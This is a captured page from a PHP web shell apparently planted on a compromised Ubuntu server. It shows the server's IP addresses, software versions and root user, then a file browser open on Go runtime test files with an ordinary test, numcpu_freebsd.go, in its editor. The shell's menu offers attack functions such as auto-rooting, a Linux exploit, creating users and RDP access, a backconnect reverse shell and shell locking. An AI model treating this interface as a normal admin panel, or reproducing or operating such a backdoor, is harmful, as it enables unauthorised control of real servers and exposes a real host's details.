Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
src /
runtime /
testdata /
testprog /
[ HOME SHELL ]
Name
Size
Permission
Action
abort.go
449
B
-rw-r--r--
badtraceback.go
1.07
KB
-rw-r--r--
checkptr.go
982
B
-rw-r--r--
crash.go
1.09
KB
-rw-r--r--
deadlock.go
5.93
KB
-rw-r--r--
gc.go
8.62
KB
-rw-r--r--
lockosthread.go
6.53
KB
-rw-r--r--
main.go
651
B
-rw-r--r--
map.go
1.26
KB
-rw-r--r--
memprof.go
884
B
-rw-r--r--
misc.go
306
B
-rw-r--r--
numcpu_freebsd.go
3.24
KB
-rw-r--r--
panicrace.go
414
B
-rw-r--r--
preempt.go
1.42
KB
-rw-r--r--
signal.go
831
B
-rw-r--r--
sleep.go
314
B
-rw-r--r--
stringconcat.go
443
B
-rw-r--r--
syscall_windows.go
1.37
KB
-rw-r--r--
syscalls.go
256
B
-rw-r--r--
syscalls_linux.go
1.27
KB
-rw-r--r--
syscalls_none.go
437
B
-rw-r--r--
timeprof.go
828
B
-rw-r--r--
traceback_ancestors.go
2.13
KB
-rw-r--r--
vdso.go
1019
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : numcpu_freebsd.go
// Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package main import ( "bytes" "fmt" "os" "os/exec" "regexp" "runtime" "strconv" "strings" "syscall" ) var ( cpuSetRE = regexp.MustCompile(`(\d,?)+`) ) func init() { register("FreeBSDNumCPU", FreeBSDNumCPU) register("FreeBSDNumCPUHelper", FreeBSDNumCPUHelper) } func FreeBSDNumCPUHelper() { fmt.Printf("%d\n", runtime.NumCPU()) } func FreeBSDNumCPU() { _, err := exec.LookPath("cpuset") if err != nil { // Can not test without cpuset command. fmt.Println("OK") return } _, err = exec.LookPath("sysctl") if err != nil { // Can not test without sysctl command. fmt.Println("OK") return } cmd := exec.Command("sysctl", "-n", "kern.smp.active") output, err := cmd.CombinedOutput() if err != nil { fmt.Printf("fail to launch '%s', error: %s, output: %s\n", strings.Join(cmd.Args, " "), err, output) return } if bytes.Equal(output, []byte("1\n")) == false { // SMP mode deactivated in kernel. fmt.Println("OK") return } list, err := getList() if err != nil { fmt.Printf("%s\n", err) return } err = checkNCPU(list) if err != nil { fmt.Printf("%s\n", err) return } if len(list) >= 2 { err = checkNCPU(list[:len(list)-1]) if err != nil { fmt.Printf("%s\n", err) return } } fmt.Println("OK") return } func getList() ([]string, error) { pid := syscall.Getpid() // Launch cpuset to print a list of available CPUs: pid <PID> mask: 0, 1, 2, 3. cmd := exec.Command("cpuset", "-g", "-p", strconv.Itoa(pid)) cmdline := strings.Join(cmd.Args, " ") output, err := cmd.CombinedOutput() if err != nil { return nil, fmt.Errorf("fail to execute '%s': %s", cmdline, err) } pos := bytes.IndexRune(output, ':') if pos == -1 { return nil, fmt.Errorf("invalid output from '%s', ':' not found: %s", cmdline, output) } var list []string for _, val := range bytes.Split(output[pos+1:], []byte(",")) { index := string(bytes.TrimSpace(val)) if len(index) == 0 { continue } list = append(list, index) } if len(list) == 0 { return nil, fmt.Errorf("empty CPU list from '%s': %s", cmdline, output) } return list, nil } func checkNCPU(list []string) error { listString := strings.Join(list, ",") if len(listString) == 0 { return fmt.Errorf("could not check against an empty CPU list") } cListString := cpuSetRE.FindString(listString) if len(cListString) == 0 { return fmt.Errorf("invalid cpuset output '%s'", listString) } // Launch FreeBSDNumCPUHelper() with specified CPUs list. cmd := exec.Command("cpuset", "-l", cListString, os.Args[0], "FreeBSDNumCPUHelper") cmdline := strings.Join(cmd.Args, " ") output, err := cmd.CombinedOutput() if err != nil { return fmt.Errorf("fail to launch child '%s', error: %s, output: %s", cmdline, err, output) } // NumCPU from FreeBSDNumCPUHelper come with '\n'. output = bytes.TrimSpace(output) n, err := strconv.Atoi(string(output)) if err != nil { return fmt.Errorf("fail to parse output from child '%s', error: %s, output: %s", cmdline, err, output) } if n != len(list) { return fmt.Errorf("runtime.NumCPU() expected to %d, got %d when run with CPU list %s", len(list), n, cListString) } return nil }
Close